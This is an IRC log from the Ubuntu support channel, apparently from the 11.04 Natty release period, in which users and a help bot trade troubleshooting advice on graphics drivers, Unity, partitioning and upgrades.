[10:53] <mtlife> Hey i get "Xsession: unsupported number of arguments (2): falling back to default session" when i try and launch unity... it doesnt complain about lack of 3d though (i have nvidia drivers installed)
[10:53] <staff_nowa> hi in ubuntu 10.10 i have nvidia 9300m gs and monitor work with 60ghz, but then update to 11.04 now my nvidia don't detect and get 50ghz, how resolve problem ?
[10:53] <BlouBlou> I am having a problem with ubuntu. It says I have NVidia GeForce 5500 FX drivers 'enabled', but they aren't being used. How to fix it? I want to use them, but there isn't any option to do that
[10:53] <Soothsayer> paddy_: should I try installing the other one?
[10:54] <Soothsayer> and then do what you suggested?
[10:54] <bin_bash> Does anyone have any tips to get the internal microphone working on natty? I'm running xfce, which shouldn't matter. it worked fine in gnome
[10:54] <BlouBlou> people only answers easy questions, I don't know why are too many people here
[10:54] <haseeb> can anyone help with low resolution problem????? pleeease??
[10:54] <beekor> well, people only answer questions they know, i'd hope.
[10:54] <bin_bash> !ask | haseeb
[10:54] <ubottu> haseeb: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[10:55] <mbrochh]2> hmm... when using ubuntu with virtualbox 4.0.6 and swtichting to the scaled mode (CTRL+C) i have a black bar at the bottom... the desktop doesnt seem to scale correctly and the mouse pointer seems to be at an invisible position a few pixels above the actual visible mouse cursor
[10:55] <samic> I'm using 11.04 but classic and my notification area doesn't show stardict and pidgin icon (it shows transmission and dropbox though!)
[10:55] <haseeb> i installed my 7300gs nvidia drivers and it gives very low resolution
[10:55] <BlouBlou> well, indeed, how to enable ' *not* install ' nvidia drivers?
[10:56] <BlouBlou> samic: Go to Pidgin config and change config in it, enable it to appear in gnome-bar
[10:56] <nyso> hi there
[10:56] <haseeb> bin_bash: heyy
[10:56] <samic> BlouBlou: I have checked it to show but nothing!
[10:57] <nyso> is there a way to setup the youtube plugin for totem to have always the highest quality?
[10:57] <petey> mbrochh, I had some similar problems I think when switching out of seamless mode, changing to the scale mode a few times seemed to sort it out
[10:57] <Soothsayer> why can't I just download the drivers from the official website?
[10:57] <Soothsayer> http://www.nvidia.com/object/linux-display-amd64-270.41.06-driver.html
[10:57] <BlouBlou> nyso: Actually not
[10:57] <jiltdil> hi i am on 64bit ubuntu 11.04 i have installed adobe flash player but still video in youtube is saying install missing plugin when i click to install it there are nothing to install.How to insatll it
[10:57] <genupulas> nyso:  i think some plugins we are goign to have in browser to get max quality of vedio
[10:57] <nyso> BlouBlou: thx :/
[10:58] <BlouBlou> Soothsayer: We are not nvidia-web admins, no idea
[10:58] <genupulas> totem is just a player nyso
[10:58] <jiltdil> any idea?
[10:58] <BlouBlou> jiltdil: Go to synaptic and search 'flash', install the -nonfree one
[10:58] <nyso> genupulas: well, but with the ability to play youtube videos per plugin
[10:58] <thomas8> jiltdil: search for Flash in about:plugins of your browser
[10:58] <jiltdil> ok
[10:59] <genupulas> jiltdil:  close the browser while installing
[10:59] <jiltdil> thanks
[10:59] <BlouBlou> genger: there is no need, just restart when installation finishes and done
[10:59] <nyso> other question, is there a way in empathy to hide chanserv messages?
[10:59] <BlouBlou> err
[10:59] <genger> hehe
[10:59] <BlouBlou> genupulas: ^
[11:00] <Black_Phantom> Hey, how much space do I need on a usb stick in order to install Ubuntu on it ?
[11:00] <DamienCassou1> it is me or is Unity still buggy?
[11:00] <bin_bash> unity is buggy.
[11:00] <genupulas> BlouBlou:  k cool
[11:00] <jiltdil> in synpatic i have seen already installed flash-plugib-installer
[11:00] <genupulas> BlouBlou:  yeah
[11:00] <BlouBlou> Black_Phantom: I _think_ 1GB at least
[11:00] <thomas8> bin_bash: true, it is very buggy I think
[11:00] <Black_Phantom> I have a 1 GB usb.
[11:00] <DamienCassou1> bin_bash: ok, thank you. What do people do? Do you use the classic version?
[11:01] <Black_Phantom> Will that work ?
[11:01] <deeeed> hi
[11:01] <deeeed> anybody is using ubuntu on macos ?
[11:01] <deeeed> I just want to make sure all the drivers are working fine
[11:01] <nyso> hm?
[11:01] <DamienCassou1> deeeed: what do you mean exactly?
[11:01] <bin_bash> DamienCassou1: No, I use xfce
[11:01] <nyso> you mean in a macbook?
[11:01] <deeeed> Damianz, my mistake I meant on macbookpro
[11:01] <deeeed> not mac os
[11:01] <iceroot> deeeed: macos is an os you cant run ubuntu on that
[11:02] <jodlajodla> hello, i have installed 11.04, and all things work, but sometimes mouse pointer lagg - is this unity bug or it's something wrong with ATI drivers?
[11:02] <bin_bash> deeeed: which mac?
[11:02] <iceroot> !mac | deeeed
[11:02] <ubottu> deeeed: For help on installing and using Ubuntu on a mac, see: https://wiki.ubuntu.com/MactelSupportTeam/CommunityHelpPages
[11:02] <DamienCassou> deeeed: I installed ubuntu on several mac books
[11:02] <bin_bash> deeeed: Which macbook pro
[11:02] <thomas8> Black_Phantom: you'll need 4 Go at least I think
[11:02] <deeeed> DamienCassou, did everything worked fine ?
[11:02] <Black_Phantom> hmm
[11:03] <DamienCassou> deeeed: 99% of the time I was satisfied
[11:03] <bin_bash> deeeed: I have to know exactly which macbook pro
[11:03] <deeeed> bin_bash, ModelIdentifier: MacBookPro 5,4
[11:03] <DamienCassou> deeeed: but sometimes I had to reboot due to a suspend/resume problem
[11:03] <bin_bash> deeeed: yeah it should work fine.
[11:03] <jodlajodla> hello, i have installed 11.04, and all things work, but sometimes mouse pointer lagg - is this unity bug or it's something wrong with ATI drivers?
[11:03] <deeeed> I just can't get used to mac os
[11:03] <Soothsayer> this driver is activated but not currently in use again!
[11:03] <Soothsayer> paddy_: there?
[11:04] <deeeed> I have been on linux for over a decade
[11:04] <DamienCassou> deeeed: also, it took me some time to configure the touchpad properly
[11:04] <ChristianAdamski> Hi, gnome-open ftp://test opens in FF4, ignoring url-handlers. Help!??
[11:04] <deeeed> miss my gnome too much
[11:04] <DamienCassou> deeeed: same thing here. No problem, this will work
[11:04] <DamienCassou> deeeed: try to follow the tutorial on community.ubuntu.com
[11:04] <deeeed> ok great I will try to install it then I just don't want to waste time if I have to switch back later
[11:05] <DamienCassou> deeeed: there are also some manipulations to do if you want to read/write your mac os x partition
[11:05] <DamienCassou> deeeed: and do *not* remove mac os x. Your hard disk drive is certainly big enough to have both
[11:05] <ruan> is it safe to remove ubuntu-desktop after installing kubuntu?
[11:05] <jodlajodla> how to set 5.1 on ubuntu 10.10/11.04, because i changed deamon.conf to lfe-remixing=yes and 6 channels, but still don't work -.-" What can i do?
[11:05] <Soothsayer> how do I give natty admin privileges?
[11:05] <deeeed> I will just resize the original partition first
[11:05] <bin_bash> DamienCassou: He shouldn't have to do anything like that. I can read/write ti my os x partiton out of the box
[11:05] <Soothsayer> I want to delete a file in the /etc directory
[11:05] <ruan> !root
[11:05] <ubottu> Do not try to guess the root password, that is impossible. Instead, realise the truth... there is no root password. Then you will see that it is 'sudo' that grants you access and not the root password. Look at https://help.ubuntu.com/community/RootSudo
[11:06] <DamienCassou> I have to leave
[11:06] <DamienCassou> bye
[11:06] <ruan> Soothsayer: sudo rm /etc/[file] but be careful
[11:06] <riz0n> hey guys, I am trying to set up freeradius atop ubuntu. is there a way to integrate the username/password to use the already existing username and passwords?
[11:07] <Soothsayer> ok deleted xorg.conf
[11:07] <Soothsayer> re-logging in
[11:08] <ruan> is it safe to remove gnome completely after installing kubuntu?
[11:09] <thegoodcushion> beekor: mate just FYI http://ubuntuforums.org/showthread.php?t=1742745
[11:09] <Soothsayer> damn it
[11:09] <Soothsayer> not detecting the second monitor!
[11:10] <Soothsayer> and both drivers are activated but not currently in use
[11:10] <thegoodcushion> you know, one day, Soothsayer, computers will just work
[11:10] <thegoodcushion> You don't need to know anything about mechanics to be able to drive a car
[11:10] <daxroc> Morning all
[11:11] <genupulas> daxroc:  evening here
[11:11] <Soothsayer> paddy_: you around ?
[11:11] <Feyisayo1> I can't get a Huawei USB modem for MTN Nigeria to connect. Can anyone help?
[11:11] <casey> anyone having trouble booting natty after updating from 10.10?
[11:11] <daxroc> After upgrading to 11.04, Having lots of problems with the desktop. and nvidia twinview is not working at all
[11:11] <Soothsayer> what is twinview?
[11:12] <Soothsayer> dual monitor ?
[11:12] <daxroc> The desktop has no compiz enabled so theres no side or top bar anymore ? How do I restart them ?
[11:12] <genupulas> casey: u need to make a look at ubuntuforums.org many users posted the same problem . i dont know solved or not
[11:12] <daxroc> Soothsayer: yeah dual head
[11:12] <Soothsayer> daxroc: even im trying to get dual monitor working here
[11:12] <Soothsayer> What graphics card?
[11:12] <casey> genupulas: Thank you but I haven't found an answer yet. Just wondering if anyone knows a solution.
[11:12] <Feyisayo1> Soothsayer: It seems one can upgrade from 10.10 to 11.04 using and ISO. See http://ubuntuguide.net/4-ways-to-upgrade-to-ubuntu-11-04-natty-narwhalonlineoffline
[11:13] <BlouBlou> daxroc: just top bar or both dissapeared?
[11:13] <daxroc> BlouBlou: Both
[11:13] <daxroc> Soothsayer: Quadro NVS 295
[11:13] <Soothsayer> Feyisayo1: "if you have a Ubuntu installed on machine there’s an upgrade option in the installation guide"
[11:13] <genupulas> casey:  soon u will
[11:13] <Soothsayer> you won't get that screen on a 64-bit, at least myself and a few other people didn't
[11:14] <casey> gebupulas: lol are you saying ubuntu will come out with a fix?
[11:14] <BlouBlou> daxroc: Go to GDM menu (in which you select user) and click on your user. After that select in a small box "classic-session" and join in your session.
[11:14] <Soothsayer> daxroc: im trying on an XFX 9600 GT
[11:14] <Soothsayer> there is an official linux 64 bit driver on the website, would that help ?
[11:14] <Rehan> Soothsayer: whats the prob you're having with your nvidia card? I'm having major issues too
[11:15] <Soothsayer> Feyisayo1: read the comments on this post
[11:15] <Soothsayer> http://www.techdrivein.com/2011/04/how-to-upgrade-to-ubuntu-1104-natty.html#comment-193736625
[11:15] <Soothsayer> the first thread of comments
[11:15] <casey> anyone having trouble booting natty after updating from 10.10?
[11:15] <Soothsayer> Rehan: well dual monitor
[11:15] <Feyisayo1> Soothsayer: ok I will
[11:15] <genupulas> casey: many
[11:15] <Soothsayer> I'm not even sure if my graphics card is detected
[11:15] <Soothsayer> though my monitor is running at full resolution - 1440 x 900
[11:15] <casey> genupulad: many what?
[11:15] <BlouBlou> casey: botthing not, but yes with Unity
[11:15] <casey> *genupulas
[11:15] <Soothsayer> and unite is working
[11:15] <BlouBlou> booting
[11:15] <Soothsayer> unity*
[11:15] <Rehan> Soothsayer: ah ok
[11:16] <BlouBlou> Soothsayer: Well, not for me
[11:16] <casey> BlouBlou: please explain
[11:16] <BlouBlou> I'm using classic-desktop
[11:16] <ruan> kde here
[11:16] <Feyisayo1> Soothsayer: There are no comments in the post. What URL are you reading?
[11:16] <BlouBlou> casey: Unity doesn't work, and gnome-bars doesn't appear, so I have to use classic-desktop
[11:16] <futbolbuntu> hi. ubuntu software center closes when i open it. how would i run it from command line so i can see what's wrong with it
[11:16] <Rehan> Soothsayer: i keep having 11.04 crash on install due to my nvidia 330GT
[11:16] <Soothsayer> Feyisayo1: the one i linked you to.
[11:16] <casey> BlouBlou: How depressing. Any word on if Ubuntu is fixing it?
[11:17] <BlouBlou> casey: I don't know, I hope they'll do soon
[11:17] <genupulas> casey:  cool about my nick . after getting upgrade to 11.04 many people have many problems . . . just make a look at ubuntuforums.org . any one solution can make u happy . post ur's problem there
[11:17] <Feyisayo1> Soothsayer: Sorry. I didn't see that.
[11:17] <casey> BlouBlou: same here. Thanks for the help.
[11:17] <tuxx-> futbolbuntu: run it from a terminal, that will probably display some erros.
[11:17] <incorrect1> how annoying, if skype is docked you click it, it loads another skype
[11:17] <reena_> how much memory is required to run the webkit based browser???any help plz
[11:17] <incorrect1> it doesn't just focus the existing
[11:17] <casey> genupulas: will do. thanks for the help.
[11:18] <m|kael> hello how do i permanently mount C: in ubuntu wubi ?
[11:18] <incorrect1> reena, suck it and see,
[11:18] <BlouBlou> reena_: If you have more than 256MB, you don't have any problems
[11:18] <KNUBBIG> Hey, any idea why ALT + TAB isn't working in Natty with Unity?
[11:18] <tuxx-> m|kael: http://en.wikipedia.org/wiki/Fstab
[11:18] <Soothsayer> why doesn't any forum, article, etc tell you to install the official driver from the website of the graphics card vendor?
[11:18] <daxroc> KNUBBIG: youll need to enable a switcher in compiz config found under settings
[11:19] <KNUBBIG> daxroc: ah okay, thanks
[11:19] <Soothsayer> ok
[11:19] <BlouBlou> KNUBBIG: Type in a terminal 'sudo apt-get install compizconfig-settings-manager'
[11:19] <Soothsayer> what's Separate X screen?
[11:19] <Soothsayer> and what's twinview?
[11:19] <Soothsayer> the difference?
[11:19] <Sterist> quick question, how do you pause Qemu?
[11:19] <reena_> BlouBlou:any site from where i can see more aboute memory use,actually i builded a qtwebkit browser..
[11:19] <Milos_SD> Hi
[11:19] <KNUBBIG> BlouBlou: yes I have that already, just didn't know I had to enable the switcher. THanks a lot :)
[11:19] <BlouBlou> KNUBBIG: np :)
[11:19] <daxroc> Soothsayer: twinview is nvidias version of xinerama
[11:20] <qkit> evening everyone
[11:20] <Milos_SD> Is there a way to have close, maximize, minimize buttons on the right side in Ubuntu 11.04 for maximized windows?
[11:20] <Soothsayer> daxroc: hmm.. whats that?
[11:20] <qkit> after i updated my ubuntu t the lastest version
[11:20] <nia_aza> g ngrt q
[11:20] <BlouBlou> reena_: type 'top' in a terminal
[11:20] <genupulas> :)
[11:20] <futbolbuntu> IOError: [Errno 2] No such file or directory: '/usr/share/app-install/desktop/software-center.menu'
[11:20] <qkit> all my panel go missing
[11:20] <Soothsayer> daxroc: I want a dual monitor setup like on Windows 7.. where I can take windows from here to there...
[11:20] <futbolbuntu> any ideas?
[11:20] <qkit> how can i resolve that?
[11:20] <m|kael> tuxx-: im sorry im not a pro at this
[11:20] <Soothsayer> what am I looking for twinview or ... ?
[11:21] <genupulas> qkit:  restore u r gnome panel
[11:21] <BlouBlou> qkit: Go to GDM menu (in where you select user) and click on your user. After that select 'classic-session' in a small box and log in
[11:21] <m|kael> tuxx-: the information at that link feels a bit overwhelming
[11:21] <daxroc> Soothsayer: its the piece of functionality that gives you dual(or more) monitor support, one big desktop
[11:21] <qkit> i cant go to any menu
[11:21] <qkit> is just a desktop with a couple of icon there
[11:22] <BlouBlou> qkit: I mean when you turn on your PC, you see a 'menu' to select the user, right?
[11:22] <qkit> even i try right click it only give me the option create folder, launcher,document
[11:22] <reena_> Bloublou:thnks,i am running a html5 file in my webkit's browser,but this is not opening video,is webkit support html5 or not?
[11:22] <qkit> nope...it only prompt me for password
[11:22] <m|kael> hello is there any tool in ubuntu wubi that let me permanently mount c: ?
[11:22] <BlouBlou> qkit: Yeah! That's what I am telling you for! Select there 'classic-session'
[11:23] <Feyisayo1> Soothsayer: Thanks. I may have to use the internet option. But there are power cuts where I am. Can the upgrade be paused and resumed?
[11:23] <BlouBlou> reena_: I don't know
[11:23] <KNUBBIG> In my login screen, the login window isn't skinned at all and looks pretty ancient. Anything I can do about that?
[11:23] <qkit> errr, it dont have any option there only has a box for me to keyin the password
[11:24] <BlouBlou> qkit: 1 sec
[11:24] <lolner> I'm trying to install 11.04 netboot. I keep getting 'plymouth command failed, disconnected from plymouth'. Does anyone know how I can fix this and make the system bootable?
[11:25] <jmvelasco> hi, I've update to 11.04 to check advances but I can't see system preferences nor system administration. I realized my graphics card work worst now, the rendering is pretty ugly since sometimes the old rendered is still displayed and dissapear little by little when I open other stuffs... any guide/hint to solve this ?¿ there are some high requirements for new Gnome ?¿
[11:25] <BlouBlou> qkit: I mean below
[11:25] <qkit> ok
[11:25] <[muttox]> sigh just restarted my machine after upgrading to 11.04 and the sound has stopped working
[11:25] <BlouBlou> qkit: when you're going to ype password, see a box below
[11:25] <[muttox]> card is detected and volumes are set on alsa, but nadda comes out
[11:26] <jmvelasco> please name my nick for comments so i can see the highlight, I can't be present at the chat right now since i am on work time
[11:26] <qkit> BlouBlou, it only show enter password to unlock your login keyring didnt have any option below
[11:26] <qkit> i believe this is due to the fact i using macubuntu, and when i doing the upgrade i forgot to uninstall it.
[11:27] <BlouBlou> qkit: Oh, I don't know there, can you try to use default GDM menu please?
[11:27] <qkit> hmm..possible for me to reinstall the whole xserver and gnome ?
[11:27] <jmvelasco> i repplay myself --> http://www.youtube.com/watch?v=wCrpy3fSGRY
[11:27] <BlouBlou> It has nothing to do with gnome, it's due to Unity
[11:27] <Vustom> I have 6 partitions..
[11:27] <Vustom> 1. HP 200 GB NTFS 2. 83 GB ext4 3. 3.2 GB Swa... 32 GB 4. Extended 289 GB (Pretty sure this is Ubuntu 10.4 parition) 5. 195 GB ext4 6. 8.3 GB Swap ... 8.3 GB 6. FACTORY_IMAGE 11GB NTFS
[11:27] <incorrect1> if you click an icon on the sidebar it should minimise it
[11:27] <jmvelasco> but i still would like to know if there are higher requirements fro grahpics
[11:27] <Vustom> 2 is partition type Linux, so is 3, 5 and 6, HP and FACTORY_IMAGE are both partition type HPFS/NTFS (0x07) and 4, is partition type Extended if this helps..
[11:28] <Vustom> I want to clean out all of the Linux ones, can someone help me?
[11:28] <Sterist> quick question, what's the BEST front-end to Qemu?
[11:28] <BlouBlou> qkit: It has nothing to do with gnome, it's due to Unity
[11:28] <Vustom> So theres only HP and FACTORY_IMAGE left.
[11:28] <futbolbuntu> damn i can't use ubuntu tweak either.
[11:28] <thegoodcushion> anyone got a deskjet working on Ubuntu?  I'm on Ubuntu 10.04 with a Deskjet 2000 plugged in via USB.  I can print from OS X and from Windows 7 on the exact same machine but Ubuntu doesn't want to print.  It acts as though it does print successfully but nothing comes out of the printer.  Any ideas?
[11:29] <qkit> ok, let me try remove all the desktop environment and reinstall it. See does it help or not
[11:29] <BlouBlou> qkit: Okay
[11:29] <Stew_822> Hello :), I was wondering if anyone has any experaince with .desktop files?
[11:29] <phonex01> Hello !
[11:29] <Stew_822> thegoodcushion: I'm not an expert, but google "cups ubuntu"
[11:29] <Vustom> D:
[11:30] <Vustom> no help?
[11:30] <Sterist> quick question, what's the BEST front-end to Qemu?
[11:30] <BlouBlou> Vustom: Use 'gparted'
[11:30] <Stew_822> thegoodcushion: Then perhaps try and install your printer from that
[11:30] <BlouBlou> !gparted | Vustom
[11:30] <ubottu> Vustom: gparted is a !GTK/!Gnome !GUI partitioning program. Type « sudo apt-get install gparted » in a console to install it - A GParted "live" CD is available at http://gparted.sourceforge.net/livecd.php
[11:30] <Vustom> what's it do?
[11:30] <phonex01> Guys when i add new panel to my desktop and add some shortcuts there, for the next boot i dont see them ! they simply gone ! why ?
[11:31] <futbolbuntu> Hi. Can someone help me? I can not run Ubuntu Software Center. When I run it from the terminal this is the output: http://pastebin.com/raw.php?i=9mFUcVU2
[11:31] <gartral> hello all, I keep hitting bug 712075 on 11.04 and running "sudo get-edid" produces "command not found"
[11:31] <ubottu> Launchpad bug 712075 in linux (Ubuntu Natty) "[drm:drm_edid_block_valid] *ERROR* EDID checksum is invalid" [High,In progress] https://launchpad.net/bugs/712075
[11:31] <gartral> !botsnack
[11:31] <ubottu> Yum! Err, I mean, APT!
[11:32] <phonex01> Thank god i did not installed ubuntu 11.04
[11:32] <gartral> phonex01: why's that?
[11:32] <phonex01> why ! there is dozen of bugs
[11:32] <gartral> phonex01: also, you shouldn't be thanking God, you should be thanking Tux!
[11:32] <phonex01> Tux ?
[11:33] <phonex01> hwo is tux ?
[11:33] <Artiom_Fiodorov> hey anyone knows how to map multi_key into super key, cuz my win keys shows up as multi_key
[11:33] <gartral> phonex01: the Linux Mascot!
[11:33] <BlouBlou> phonex01: Tux is Linux-penguin
[11:33] <BlouBlou> !tux > phonex01
[11:33] <ubottu> phonex01, please see my private message
[11:34] <Stew_822> My .desktop file that's playing up is: http://pastebin.com/cD3bAq5i   I don't know what's wrong. x-wallpaper-changer is an app I wrote, and the command I set Exec to works fine in the terminal (which is why I've set Terminal to true). Any ideas?
[11:34] <phonex01> Thanks for god not for tux !
[11:35] <jstoone> quit leaveing
[11:35] <Stew_822> Someone should make a version of tux that's half-God half-penguin :)
[11:36] <gartral> Stew_822: tux the God-guin!
[11:36] <phonex01> some respect here !
[11:36] <BlouBlou> !ot
[11:36] <ubottu> #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[11:36] <BlouBlou> !offtopic
[11:36] <phonex01> God is not something able to say jokes
[11:37] <Stew_822> I know that was coming ;)
[11:37] <Stew_822> Not God, the offtopic thing
[11:37] <Vustom> BlouBlou
[11:37] <drewby> I use Gnome in Ubuntu 9.10.  From the "Places" menu, if I click on any folder it opens rhythm box (Music Player) instead of a folder.
[11:37] <Vustom> Does gparted have an interface when I boot to it using a LiveCD?
[11:37] <Vustom> I'm not good with commands :/
[11:37] <BlouBlou> Vustom: Yes, it has
[11:37] <[muttox]> nice, i forced played a wav file with aplay a few times and now my sound is working again...
[11:37] <Vustom> :)
[11:37] <gartral> phonex01: you should pick up a copy of The Little Brown Handbook...
[11:37] <Vustom> Thanks!
[11:37] <[muttox]> dunno how that works but hooray
[11:37] <Stew_822> Okay, on topic, does anyone have any idea why my .desktop file isn't working?
[11:37] <drewby> How can I get it to open the file browser with that folder instead of rhythmbox?
[11:37] <BlouBlou> np
[11:38] <KebabBob> I just upgraded to 11.04... How do I get rid of the new program bar and restore the old look?
[11:38] <BlouBlou> drewby: What?
[11:38] <jpg> hi, is there a manpage or something to change the old ui back on 11.04 instead of this new Unity?
[11:38] <Stew_822> BlouBlou: I think in the menu he's clicking on a directory, and it's opening rythembox
[11:38] <drewby> BlouBlou: in the places menu if I click a folder it opens rhythmbox rather than nautilus
[11:38] <BlouBlou> KebabBob: Go to GDM menu and click on your user. After that select 'classic-session' in a box below
[11:38] <KNUBBIG> In my login screen, the login window isn't skinned at all and looks pretty ancient. Anything I can do about that?
[11:39] <genupulas> chnage at properties
[11:39] <drewby> really bizarre
[11:39] <[muttox]> jpg: im not running with an install but id assume you change your default session when you log in?
[11:39] <KebabBob> how do I access the gdm menu?
[11:39] <Adross> has there been any support in getting rt2870 chipset's support 802.11n on natty?
[11:39] <KebabBob> Do I have to log out first?
[11:40] <Cube``> hey, one laptop upgraded to 11.04 without problem, but the other one is not showing the "upgrade" button in the update manager! i have enabled showing dist-upgrades in the settings :S
[11:40] <jpg> muttbox: thanks, going to try that when I boot next time, cheers :)
[11:40] <phonex01> why the shortcuts in my panel gone when i reboot ?
[11:40] <Stew_822> Can anyone point me in the direction of a forum where I might recieve some help with my .desktop file?
[11:40] <BlouBlou> KebabBob: Just restart computer, it's the place in which you type your password to log in. Click on you user, and change in a box below, from ubuntu to classic-ubuntu or classic-session
[11:40] <gartral> Cube``: on the troubled machine, have you done any kernel recompiling?
[11:40] <Cube``> gartral: no
[11:41] <mikebeecham> hi guys....can anyone tell me how to restore my 'home' icon back to the unity bar?
[11:41] <phonex01> i added new panel to the right and then i added some shortcuts but when i reboot they simply gone !
[11:41] <mikebeecham> cant find it
[11:41] <drewby> OH CRA! I don't use 9.10.  I use 10.10
[11:41] <drewby> sorry I don't know why I said that
[11:41] <Stew_822> Cube``: I think there's a command to upgrade your ubuntu version :)
[11:41] <BlouBlou> Cube``: Go to software-sources >> updates tab >> and change LTS versions, instead of that, select normal-editions
[11:42] <Cube``> Stew_822: yes but i wanted to do it guiwise
[11:42] <Stew_822> Cube``: http://www.ubuntu.com/download/ubuntu/upgrade
[11:42] <Cube``> BlouBlou: yes its already normal editions :S
[11:42] <phonex01> Take my advice dont use ubuntu 11.04 now
[11:42] <BlouBlou> !upgrade | Maybe this will help you Cube``
[11:42] <ubottu> Maybe this will help you Cube``: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[11:42] <drewby> anybody know why clicking a folder bookmark would initiate rhythmbox instead of nautilus?
[11:42] <koheleth> phonex01: why?
[11:42] <Cube``> phonex01: wtf why!?!?
[11:42] <gartral> Cube``: open a terminal and run sudo update-manager -c
[11:42] <Cube``> gartral: kk
[11:43] <BlouBlou> !wtf > Cube``
[11:43] <ubottu> Cube``, please see my private message
[11:43] <phonex01> ohhh why?
[11:43] <Soothsayer> ok, now I can't boot into ubuntu!
[11:43] <Cube``> phonex01: why?
[11:43] <Soothsayer> in recovery mode with lowgraphics selected.
[11:43] <phonex01> i saw a lot of bugs and a lot of problems
[11:43] <Soothsayer> how do I rollback the graphic drivers configurations I did ?
[11:43] <phonex01> starting from the software center and package manager
[11:43] <phonex01> also supporting drivers
[11:43] <Stew_822> drewby: I don't know, but maybe in default programs? Or try right-clicking a directory and select "open with" then choose natulis, the file browser
[11:44] <Cube``> gartral: nope, its the same situation, its not showing up
[11:44] <gartral> phonex01: what's true for you won't be true for everyone. the more people using ubuntu-bug in the new version, the faster these bugs will be fixed. please don't discourage others from trying the newest builds
[11:45] <Rziz> Hello, i am having a slight problem.. I am trying to do a 11.04 command line install with fb using the alternate cd, but apparently this option does no longer seem to be available in the F6 menu?
[11:45] <Soothsayer> I second what gartral said.
[11:45] <gartral> Cube``: that's very odd..
[11:45] <mikebeecham> How do I restore the home icon to my Unity panel?
[11:45] <KNUBBIG> In my login screen, the login window isn't skinned at all and looks pretty ancient. Anything I can do about that?
[11:45] <Rziz> Are there any parameters I could pass to accomplish the same?
[11:45] <jatt> mikebeecham: there is no way to add the home icon to the unity bar
[11:45] <mikebeecham> jatt, what is the icon at the very top with the home icon on it then
[11:45] <mikebeecham> ?
[11:45] <jatt> so you added it?
[11:46] <mikebeecham> nope...it was there on first install, but I removed all the clutter
[11:46] <mikebeecham> *sigh* it was a noob moment!
[11:46] <mikebeecham> jatt, it was a folder icon with a home on it
[11:46] <Rziz> this multi-iso concept of ubuntu seems quite pointless to me, anyway
[11:46] <gartral> !noob > mikebeecham
[11:46] <ubottu> mikebeecham, please see my private message
[11:47] <JohnFlux> Hi all
[11:47] <JohnFlux> If I want to update a package, what is needed exactly?
[11:47] <Vustom> BlouBlou, what happens If I need to unmount to delete the partitions
[11:47] <Vustom> how do I do that?
[11:47] <mikebeecham> gartral, thanks, but that was kind of unnecessary since I was referring to myself
[11:47] <mikebeecham> *sigh*
[11:47] <gartral> Rziz: what do you mean? it's not like UBuntu comes in 4-7 installationd disks.. like slackware does.
[11:47] <JohnFlux> sorry I mean, a package in ubuntu is quite old.  I want to make a newer version of the package, and get that into ubuntu
[11:48] <BlouBlou> Vustom: It means that you can't do anything in a partition if you're using them, so before doing anything, it's needed to unmount
[11:48] <gartral> mikebeecham: sorry.. I saw the word and had a "itchy trigger finger" moment!
[11:48] <dman777> anyone use aide?
[11:48] <drewby> Stew_822: thanks for the guess.  It doesn't look like folders have open_with menus though
[11:48] <Rziz> gatral: my main issue atm is no command-line install option seems to be available in the 11.04 alternate cd. I was wondering if i could pass any boot parameter to the installer to accomplish this
[11:48] <Vustom> But how do I unmount it when I'm in the gparted liveCD, or wont i need to worry about that?
[11:48] <lylanthia> hi there, is this an acceptable place for me to ask a quick question?
[11:48] <mikebeecham> gartral, no worries
[11:49] <BlouBlou> Vustom: Don't worry
[11:49] <Shaggy2> I need some help I just installed ubuntu 11.04 desktop, it's not booting
[11:49] <Vustom> :D
[11:49] <Vustom> thank you. :3
[11:49] <Rziz> or am I supposed to do a netinstall, which seems a different thing to me :p
[11:49] <BlouBlou> Vustom: np
[11:49] <Stew_822> lylanthia: I think so, but people tend to shoot you if you say something that's outta place :)
[11:49] <mikebeecham> som does anyone know how I can restore the 'home' folder icon back to my unity bar?
[11:49] <lylanthia> thanks ^.^
[11:50] <Stew_822> lylanthia: it's deadly in here ;)
[11:50] <Nunya> I auto upgraded to 11.04 today and the install has stalled out with: restarting services have possibly affected the upgrade: restarting spam assassin done, restarting cups...   then nothing
[11:50] <boomboorum> Hi guys, I have been playing around with compiz yesterday, and when I started ubuntu (11.04 with  gnome ) all the headers from all the windows disappered. What can it be?
[11:50] <lylanthia> I'm about to install the latest  x64 ubuntu and windows on a laptop. A volunteer organization I work with uses Ubuntu on all of their tech, so I want to get comfortable. If I install windows first, and then Ubuntu, will ubuntu's loader set up dual booting for me?
[11:51] <Stew_822> lylanthia: It did for me :)
[11:51] <lylanthia> excelent :D
[11:51] <lylanthia> thanks ^.^
[11:51] <Stew_822> lylanthia: buuut I don't know the technical answer, but I assume so :)
[11:51] <jaypur> hello, i'd like to know what are the problems of the 64 bit version of ubuntu nowadays....
[11:51] <Stew_822> no problems :)
[11:51] <jaypur> Stew_822, talking to me?
[11:51] <daxt> hi guys , i installed ubuntu 11.04 parallelly with my Lucid installation , but  grub does not show the new nutty menu option , how do i add it ?
[11:51] <gartral> boomboorum: hit alt-f2 and run metacity --replace
[11:51] <Stew_822> jaypue: No, sorry
[11:52] <lylanthia> Well, if I get good at this, I'll be back to contribute :D thanks all ^.^
[11:52] <Rziz> it doesn't seem obvious to me if there is there any way to do a command-line install of Ubuntu 11.04 without doing a netinstall
[11:52] <Rziz> as the command-line install option of the 11.04 alternate cd seems to be removed
[11:53] <BlouBlou> !alternate | Rziz
[11:53] <ubottu> Rziz: The Alternate CD is a classic text-mode install CD. It supports a wider range of hardware than the !LiveCD, and can also be used as an upgrade CD. http://www.ubuntu.com/download/ubuntu/alternative-download#alternate - See also !minimal
[11:53] <smw> Rziz, why do you want a cli install?
[11:53] <BlouBlou> Rziz: It isn't
[11:53] <daxt> hi guys , i installed ubuntu 11.04 parallelly with my Lucid installation , but  grub does not show the new nutty menu option , how do i add it ?
[11:53] <Rziz> smw: no need for DE for me, low memory system
[11:54] <gartral> Rziz: the alt-cd's main install feature is the cli install. they just renamed it. I agree though, it is mildly confusing.
[11:54] <KNUBBIG> In my login screen, the login window isn't skinned at all and looks pretty ancient. Anything I can do about that?
[11:54] <Rziz> gatral: thanks a lot :p its quite confusing indeed
